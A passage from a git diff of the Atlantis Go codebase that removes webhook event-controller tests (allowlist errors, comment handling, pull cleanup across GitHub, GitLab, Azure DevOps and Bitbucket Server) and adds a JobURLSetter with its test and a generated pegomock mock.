event is a gitlab comment from a repo that isn't allowlisted we comment with an error") - RegisterMockTestingT(t) - vcsClient := vcsmocks.NewMockClient() - e := server.EventsController{ - Logger: logging.NewNoopLogger(), - CommentParser: &events.CommentParser{}, - GitlabRequestParserValidator: &server.DefaultGitlabRequestParserValidator{}, - Parser: &events.EventParser{}, - SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, - RepoAllowlistChecker: &events.RepoAllowlistChecker{}, - VCSClient: vcsClient, - } - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "gitlabMergeCommentEvent_notAllowlisted.json")) - Ok(t, err) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) - req.Header.Set(gitlabHeader, "Note Hook") - w := httptest.NewRecorder() - e.Post(w, req) - - Equals(t, http.StatusForbidden, w.Result().StatusCode) - body, _ := ioutil.ReadAll(w.Result().Body) - exp := "Repo not allowlisted" - Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) - expRepo, _ := models.NewRepo(models.Gitlab, "gitlabhq/gitlab-test", "https://example.com/gitlabhq/gitlab-test.git", "", "") - vcsClient.VerifyWasCalledOnce().CreateComment(expRepo, 1, "```\nError: This repo is not allowlisted for Atlantis.\n```", "") -} - -func TestPost_GitlabCommentNotAllowlistedWithSilenceErrors(t *testing.T) { - t.Log("when the event is a gitlab comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") - RegisterMockTestingT(t) - vcsClient := vcsmocks.NewMockClient() - e := server.EventsController{ - Logger: logging.NewNoopLogger(), - CommentParser: &events.CommentParser{}, - GitlabRequestParserValidator: &server.DefaultGitlabRequestParserValidator{}, - Parser: &events.EventParser{}, - SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, - RepoAllowlistChecker: &events.RepoAllowlistChecker{}, - VCSClient: vcsClient, - SilenceAllowlistErrors: true, - } - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "gitlabMergeCommentEvent_notAllowlisted.json")) - Ok(t, err) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) - req.Header.Set(gitlabHeader, "Note Hook") - w := httptest.NewRecorder() - e.Post(w, req) - - Equals(t, http.StatusForbidden, w.Result().StatusCode) - body, _ := ioutil.ReadAll(w.Result().Body) - exp := "Repo not allowlisted" - Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) - vcsClient.VerifyWasCalled(Never()).CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()) - -} - -func TestPost_GithubCommentNotAllowlisted(t *testing.T) { - t.Log("when the event is a github comment from a repo that isn't allowlisted we comment with an error") - RegisterMockTestingT(t) - vcsClient := vcsmocks.NewMockClient() - e := server.EventsController{ - Logger: logging.NewNoopLogger(), - GithubRequestValidator: &server.DefaultGithubRequestValidator{}, - CommentParser: &events.CommentParser{}, - Parser: &events.EventParser{}, - SupportedVCSHosts: []models.VCSHostType{models.Github}, - RepoAllowlistChecker: &events.RepoAllowlistChecker{}, - VCSClient: vcsClient, - } - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "githubIssueCommentEvent_notAllowlisted.json")) - Ok(t, err) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) - req.Header.Set("Content-Type", "application/json") - req.Header.Set(githubHeader, "issue_comment") - w := httptest.NewRecorder() - e.Post(w, req) - - Equals(t, http.StatusForbidden, w.Result().StatusCode) - body, _ := ioutil.ReadAll(w.Result().Body) - exp := "Repo not allowlisted" - Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) - expRepo, _ := models.NewRepo(models.Github, "baxterthehacker/public-repo", "https://github.com/baxterthehacker/public-repo.git", "", "") - vcsClient.VerifyWasCalledOnce().CreateComment(expRepo, 2, "```\nError: This repo is not allowlisted for Atlantis.\n```", "") -} - -func TestPost_GithubCommentNotAllowlistedWithSilenceErrors(t *testing.T) { - t.Log("when the event is a github comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") - RegisterMockTestingT(t) - vcsClient := vcsmocks.NewMockClient() - e := server.EventsController{ - Logger: logging.NewNoopLogger(), - GithubRequestValidator: &server.DefaultGithubRequestValidator{}, - CommentParser: &events.CommentParser{}, - Parser: &events.EventParser{}, - SupportedVCSHosts: []models.VCSHostType{models.Github}, - RepoAllowlistChecker: &events.RepoAllowlistChecker{}, - VCSClient: vcsClient, - SilenceAllowlistErrors: true, - } - requestJSON, err := ioutil.ReadFile(filepath.Join("testfixtures", "githubIssueCommentEvent_notAllowlisted.json")) - Ok(t, err) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) - req.Header.Set("Content-Type", "application/json") - req.Header.Set(githubHeader, "issue_comment") - w := httptest.NewRecorder() - e.Post(w, req) - - Equals(t, http.StatusForbidden, w.Result().StatusCode) - body, _ := ioutil.ReadAll(w.Result().Body) - exp := "Repo not allowlisted" - Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) - vcsClient.VerifyWasCalled(Never()).CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()) -} - -func TestPost_GitlabCommentResponse(t *testing.T) { - // When the event is a gitlab comment that warrants a comment response we comment back. - e, _, gl, _, _, _, vcsClient, cp := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) - When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) - w := httptest.NewRecorder() - e.Post(w, req) - vcsClient.VerifyWasCalledOnce().CreateComment(models.Repo{}, 0, "a comment", "") - responseContains(t, w, http.StatusOK, "Commenting back on pull request") -} - -func TestPost_GithubCommentResponse(t *testing.T) { - t.Log("when the event is a github comment that warrants a comment response we comment back") - e, v, _, p, _, _, vcsClient, cp := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "issue_comment") - event := `{"action": "created"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - baseRepo := models.Repo{} - user := models.User{} - When(p.ParseGithubIssueCommentEvent(matchers.AnyPtrToGithubIssueCommentEvent())).ThenReturn(baseRepo, user, 1, nil) - When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) - w := httptest.NewRecorder() - - e.Post(w, req) - vcsClient.VerifyWasCalledOnce().CreateComment(baseRepo, 1, "a comment", "") - responseContains(t, w, http.StatusOK, "Commenting back on pull request") -} - -func TestPost_GitlabCommentSuccess(t *testing.T) { - t.Log("when the event is a gitlab comment with a valid command we call the command handler") - e, _, gl, _, cr, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Processing...") - - cr.VerifyWasCalledOnce().RunCommentCommand(models.Repo{}, &models.Repo{}, nil, models.User{}, 0, nil) -} - -func TestPost_GithubCommentSuccess(t *testing.T) { - t.Log("when the event is a github comment with a valid command we call the command handler") - e, v, _, p, cr, _, _, cp := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "issue_comment") - event := `{"action": "created"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - baseRepo := models.Repo{} - user := models.User{} - cmd := events.CommentCommand{} - When(p.ParseGithubIssueCommentEvent(matchers.AnyPtrToGithubIssueCommentEvent())).ThenReturn(baseRepo, user, 1, nil) - When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd}) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Processing...") - - cr.VerifyWasCalledOnce().RunCommentCommand(baseRepo, nil, nil, user, 1, &cmd) -} - -func TestPost_GithubPullRequestInvalid(t *testing.T) { - t.Log("when the event is a github pull request with invalid data we return a 400") - e, v, _, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "pull_request") - - event := `{"action": "closed"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - When(p.ParseGithubPullEvent(matchers.AnyPtrToGithubPullRequestEvent())).ThenReturn(models.PullRequest{}, models.OpenedPullEvent, models.Repo{}, models.Repo{}, models.User{}, errors.New("err")) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Error parsing pull data: err") -} - -func TestPost_GitlabMergeRequestInvalid(t *testing.T) { - t.Log("when the event is a gitlab merge request with invalid data we return a 400") - e, _, gl, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, errors.New("err")) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusBadRequest, "Error parsing webhook: err") -} - -func TestPost_GithubPullRequestNotAllowlisted(t *testing.T) { - t.Log("when the event is a github pull request to a non-allowlisted repo we return a 400") - e, v, _, _, _, _, _, _ := setup(t) - var err error - e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") - Ok(t, err) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "pull_request") - - event := `{"action": "closed"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusForbidden, "Ignoring pull request event from non-allowlisted repo") -} - -func TestPost_GitlabMergeRequestNotAllowlisted(t *testing.T) { - t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") - e, _, gl, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - - var err error - e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") - Ok(t, err) - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) - - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusForbidden, "Ignoring pull request event from non-allowlisted repo") -} - -func TestPost_GithubPullRequestUnsupportedAction(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - e, v, _, _, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "pull_request") - - event := `{"action": "unsupported"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - w := httptest.NewRecorder() - e.Parser = &events.EventParser{} - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") -} - -func TestPost_GitlabMergeRequestUnsupportedAction(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") - e, _, gl, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - var event gitlab.MergeEvent - event.ObjectAttributes.Action = "unsupported" - When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, repo, repo, models.User{}, nil) - - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") -} - -func TestPost_AzureDevopsPullRequestIgnoreEvent(t *testing.T) { - u := "user" - user := []byte(u) - - t.Log("when the event is an azure devops pull request update that should not trigger workflow we ignore it") - RegisterMockTestingT(t) - v := mocks.NewMockAzureDevopsRequestValidator() - p := emocks.NewMockEventParsing() - cp := emocks.NewMockCommentParsing() - cr := emocks.NewMockCommandRunner() - c := emocks.NewMockPullCleaner() - vcsmock := vcsmocks.NewMockClient() - repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") - Ok(t, err) - e := server.EventsController{ - TestingMode: true, - Logger: logging.NewNoopLogger(), - ApplyDisabled: false, - AzureDevopsWebhookBasicUser: user, - AzureDevopsWebhookBasicPassword: secret, - AzureDevopsRequestValidator: v, - Parser: p, - CommentParser: cp, - CommandRunner: cr, - PullCleaner: c, - SupportedVCSHosts: []models.VCSHostType{models.AzureDevops}, - RepoAllowlistChecker: repoAllowlistChecker, - VCSClient: vcsmock, - } - - event := `{ - "subscriptionId": "11111111-1111-1111-1111-111111111111", - "notificationId": 1, - "id": "22222222-2222-2222-2222-222222222222", - "eventType": "git.pullrequest.updated", - "publisherId": "tfs", - "message": { - "text": "Dev %s pull request 1 (Name in repo)" - }, - "resource": {}}` - - cases := []struct { - message string - }{ - { - "has changed the reviewer list on", - }, - { - "has approved", - }, - { - "has approved and left suggestions on", - }, - { - "is waiting for the author on", - }, - { - "rejected", - }, - { - "voted on", - }, - } - - for _, c := range cases { - t.Run(c.message, func(t *testing.T) { - payload := fmt.Sprintf(event, c.message) - req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) - req.Header.Set(azuredevopsHeader, "reqID") - When(v.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) - w := httptest.NewRecorder() - e.Parser = &events.EventParser{} - e.Post(w, req) - responseContains(t, w, http.StatusOK, "pull request updated event is not a supported type") - }) - } -} - -func TestPost_GithubPullRequestClosedErrCleaningPull(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - t.Log("when the event is a closed pull request and we have an error calling CleanUpPull we return a 503") - RegisterMockTestingT(t) - e, v, _, p, _, c, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "pull_request") - - event := `{"action": "closed"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - repo := models.Repo{} - pull := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGithubPullEvent(matchers.AnyPtrToGithubPullRequestEvent())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) - When(c.CleanUpPull(repo, pull)).ThenReturn(errors.New("cleanup err")) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: cleanup err") -} - -func TestPost_GitlabMergeRequestClosedErrCleaningPull(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - t.Log("when the event is a closed gitlab merge request and an error occurs calling CleanUpPull we return a 500") - e, _, gl, p, _, c, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - var event gitlab.MergeEvent - event.ObjectAttributes.Action = "close" - When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) - When(c.CleanUpPull(repo, pullRequest)).ThenReturn(errors.New("err")) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: err") -} - -func TestPost_GithubClosedPullRequestSuccess(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - t.Log("when the event is a pull request and everything works we return a 200") - e, v, _, p, _, c, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(githubHeader, "pull_request") - - event := `{"action": "closed"}` - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - repo := models.Repo{} - pull := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGithubPullEvent(matchers.AnyPtrToGithubPullRequestEvent())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) - When(c.CleanUpPull(repo, pull)).ThenReturn(nil) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Pull request cleaned successfully") -} - -func TestPost_GitlabMergeRequestSuccess(t *testing.T) { - t.Skip("relies too much on mocks, should use real event parser") - t.Log("when the event is a gitlab merge request and the cleanup works we return a 200") - e, _, gl, p, _, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - req.Header.Set(gitlabHeader, "value") - When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Pull request cleaned successfully") -} - -// Test Bitbucket server pull closed events. -func TestPost_BBServerPullClosed(t *testing.T) { - cases := []struct { - header string - }{ - { - "pr:deleted", - }, - { - "pr:merged", - }, - { - "pr:declined", - }, - } - - for _, c := range cases { - t.Run(c.header, func(t *testing.T) { - RegisterMockTestingT(t) - pullCleaner := emocks.NewMockPullCleaner() - allowlist, err := events.NewRepoAllowlistChecker("*") - Ok(t, err) - ec := &server.EventsController{ - PullCleaner: pullCleaner, - Parser: &events.EventParser{ - BitbucketUser: "bb-user", - BitbucketToken: "bb-token", - BitbucketServerURL: "https://bbserver.com", - }, - RepoAllowlistChecker: allowlist, - SupportedVCSHosts: []models.VCSHostType{models.BitbucketServer}, - VCSClient: nil, - } - - // Build HTTP request. - requestBytes, err := ioutil.ReadFile(filepath.Join("testfixtures", "bb-server-pull-deleted-event.json")) - // Replace the eventKey field with our event type. - requestJSON := strings.Replace(string(requestBytes), `"eventKey":"pr:deleted",`, fmt.Sprintf(`"eventKey":"%s",`, c.header), -1) - Ok(t, err) - req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSON))) - Ok(t, err) - req.Header.Set("Content-Type", "application/json") - req.Header.Set("X-Event-Key", c.header) - req.Header.Set("X-Request-ID", "request-id") - - // Send the request. - w := httptest.NewRecorder() - ec.Post(w, req) - - // Make our assertions. - responseContains(t, w, 200, "Pull request cleaned successfully") - - expRepo := models.Repo{ - FullName: "project/repository", - Owner: "project", - Name: "repository", - CloneURL: "https://bb-user:bb-token@bbserver.com/scm/proj/repository.git", - SanitizedCloneURL: "https://bb-user:@bbserver.com/scm/proj/repository.git", - VCSHost: models.VCSHost{ - Hostname: "bbserver.com", - Type: models.BitbucketServer, - }, - } - pullCleaner.VerifyWasCalledOnce().CleanUpPull(expRepo, models.PullRequest{ - Num: 10, - HeadCommit: "2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c", - URL: "https://bbserver.com/projects/PROJ/repos/repository/pull-requests/10", - HeadBranch: "decline-me", - BaseBranch: "master", - Author: "admin", - State: models.OpenPullState, - BaseRepo: expRepo, - }) - }) - } -} - -func TestPost_PullOpenedOrUpdated(t *testing.T) { - cases := []struct { - Description string - HostType models.VCSHostType - Action string - }{ - { - "github opened", - models.Github, - "opened", - }, - { - "gitlab opened", - models.Gitlab, - "open", - }, - { - "github synchronized", - models.Github, - "synchronize", - }, - { - "gitlab update", - models.Gitlab, - "update", - }, - } - - for _, c := range cases { - t.Run(c.Description, func(t *testing.T) { - e, v, gl, p, cr, _, _, _ := setup(t) - req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) - switch c.HostType { - case models.Gitlab: - req.Header.Set(gitlabHeader, "value") - var event gitlab.MergeEvent - event.ObjectAttributes.Action = c.Action - When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) - repo := models.Repo{} - pullRequest := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) - case models.Github: - req.Header.Set(githubHeader, "pull_request") - event := fmt.Sprintf(`{"action": "%s"}`, c.Action) - When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) - repo := models.Repo{} - pull := models.PullRequest{State: models.ClosedPullState} - When(p.ParseGithubPullEvent(matchers.AnyPtrToGithubPullRequestEvent())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) - } - w := httptest.NewRecorder() - e.Post(w, req) - responseContains(t, w, http.StatusOK, "Processing...") - cr.VerifyWasCalledOnce().RunAutoplanCommand(models.Repo{}, models.Repo{}, models.PullRequest{State: models.ClosedPullState}, models.User{}) - }) - } -} - -func setup(t *testing.T) (server.EventsController, *mocks.MockGithubRequestValidator, *mocks.MockGitlabRequestParserValidator, *emocks.MockEventParsing, *emocks.MockCommandRunner, *emocks.MockPullCleaner, *vcsmocks.MockClient, *emocks.MockCommentParsing) { - RegisterMockTestingT(t) - v := mocks.NewMockGithubRequestValidator() - gl := mocks.NewMockGitlabRequestParserValidator() - p := emocks.NewMockEventParsing() - cp := emocks.NewMockCommentParsing() - cr := emocks.NewMockCommandRunner() - c := emocks.NewMockPullCleaner() - vcsmock := vcsmocks.NewMockClient() - repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") - Ok(t, err) - e := server.EventsController{ - TestingMode: true, - Logger: logging.NewNoopLogger(), - GithubRequestValidator: v, - Parser: p, - CommentParser: cp, - CommandRunner: cr, - PullCleaner: c, - GithubWebhookSecret: secret, - SupportedVCSHosts: []models.VCSHostType{models.Github, models.Gitlab}, - GitlabWebhookSecret: secret, - GitlabRequestParserValidator: gl, - RepoAllowlistChecker: repoAllowlistChecker, - VCSClient: vcsmock, - } - return e, v, gl, p, cr, c, vcsmock, cp -} diff --git a/server/jobs/job_url_setter.go b/server/jobs/job_url_setter.go new file mode 100644 index 0000000000..d2c6209c17 --- /dev/null +++ b/server/jobs/job_url_setter.go @@ -0,0 +1,42 @@ +package jobs + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_project_job_url_generator.go ProjectJobURLGenerator + +// ProjectJobURLGenerator generates urls to view project's progress. +type ProjectJobURLGenerator interface { + GenerateProjectJobURL(p command.ProjectContext) (string, error) +} + +//go:generate pegomock generate --package mocks -o mocks/mock_project_status_updater.go ProjectStatusUpdater + +type ProjectStatusUpdater interface { + // UpdateProject sets the commit status for the project represented by + // ctx. + UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) error +} + +type JobURLSetter struct { + projectJobURLGenerator ProjectJobURLGenerator + projectStatusUpdater ProjectStatusUpdater +} + +func NewJobURLSetter(projectJobURLGenerator ProjectJobURLGenerator, projectStatusUpdater ProjectStatusUpdater) *JobURLSetter { + return &JobURLSetter{ + projectJobURLGenerator: projectJobURLGenerator, + projectStatusUpdater: projectStatusUpdater, + } +} + +func (j *JobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, result *command.ProjectResult) error { + url, err := j.projectJobURLGenerator.GenerateProjectJobURL(ctx) + + if err != nil { + return err + } + return j.projectStatusUpdater.UpdateProject(ctx, cmdName, status, url, result) +} diff --git a/server/jobs/job_url_setter_test.go b/server/jobs/job_url_setter_test.go new file mode 100644 index 0000000000..51167e55e2 --- /dev/null +++ b/server/jobs/job_url_setter_test.go @@ -0,0 +1,45 @@ +package jobs_test + +import ( + "errors" + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/jobs" + "github.com/runatlantis/atlantis/server/jobs/mocks" + . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/assert" +) + +func TestJobURLSetter(t *testing.T) { + ctx := createTestProjectCmdContext(t) + + t.Run("update project status with project jobs url", func(t *testing.T) { + RegisterMockTestingT(t) + projectStatusUpdater := mocks.NewMockProjectStatusUpdater() + projectJobURLGenerator := mocks.NewMockProjectJobURLGenerator() + url := "url-to-project-jobs" + jobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater) + result := &command.ProjectResult{} + + When(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn(url, nil) + When(projectStatusUpdater.UpdateProject(ctx, command.Plan, models.PendingCommitStatus, url, nil)).ThenReturn(nil) + err := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, result) + Ok(t, err) + + projectStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, "url-to-project-jobs", result) + }) + + t.Run("update project status with project jobs url error", func(t *testing.T) { + RegisterMockTestingT(t) + projectStatusUpdater := mocks.NewMockProjectStatusUpdater() + projectJobURLGenerator := mocks.NewMockProjectJobURLGenerator() + jobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater) + + When(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn("url-to-project-jobs", errors.New("some error")) + err := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, nil) + assert.Error(t, err) + }) +} diff --git a/server/jobs/mocks/mock_project_command_output_handler.go b/server/jobs/mocks/mock_project_command_output_handler.go new file mode 100644 index 0000000000..6367aed6ce --- /dev/null +++ b/server/jobs/mocks/mock_project_command_output_handler.go @@ -0,0 +1,387 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectCommandOutputHandler) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + models "github.com/runatlantis/atlantis/server/events/models" + jobs "github.com/runatlantis/atlantis/server/jobs" + "reflect" + "time" +) + +type MockProjectCommandOutputHandler struct { + fail func(message string, callerSkip ...int) +} + +func NewMockProjectCommandOutputHandler(options ...pegomock.Option) *MockProjectCommandOutputHandler { + mock := &MockProjectCommandOutputHandler{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockProjectCommandOutputHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockProjectCommandOutputHandler) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{pullInfo} + pegomock.GetGenericMockFrom(mock).Invoke("CleanUp", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{jobID, receiver} + pegomock.GetGenericMockFrom(mock).Invoke("Deregister", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) GetPullToJobMapping() []jobs.PullInfoWithJobIDs { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullToJobMapping", _params, []reflect.Type{reflect.TypeOf((*[]jobs.PullInfoWithJobIDs)(nil)).Elem()}) + var _ret0 []jobs.PullInfoWithJobIDs + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]jobs.PullInfoWithJobIDs) + } + } + return _ret0 +} + +func (mock *MockProjectCommandOutputHandler) Handle() { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{} + pegomock.GetGenericMockFrom(mock).Invoke("Handle", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) IsKeyExists(key string) bool { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{key} + _result := pegomock.GetGenericMockFrom(mock).Invoke("IsKeyExists", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + } + return _ret0 +} + +func (mock *MockProjectCommandOutputHandler) Register(jobID string, receiver chan string) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{jobID, receiver} + pegomock.GetGenericMockFrom(mock).Invoke("Register", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{ctx, msg, operationComplete} + pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") + } + _params := []pegomock.Param{ctx, msg, operationComplete} + pegomock.GetGenericMockFrom(mock).Invoke("SendWorkflowHook", _params, []reflect.Type{}) +} + +func (mock *MockProjectCommandOutputHandler) 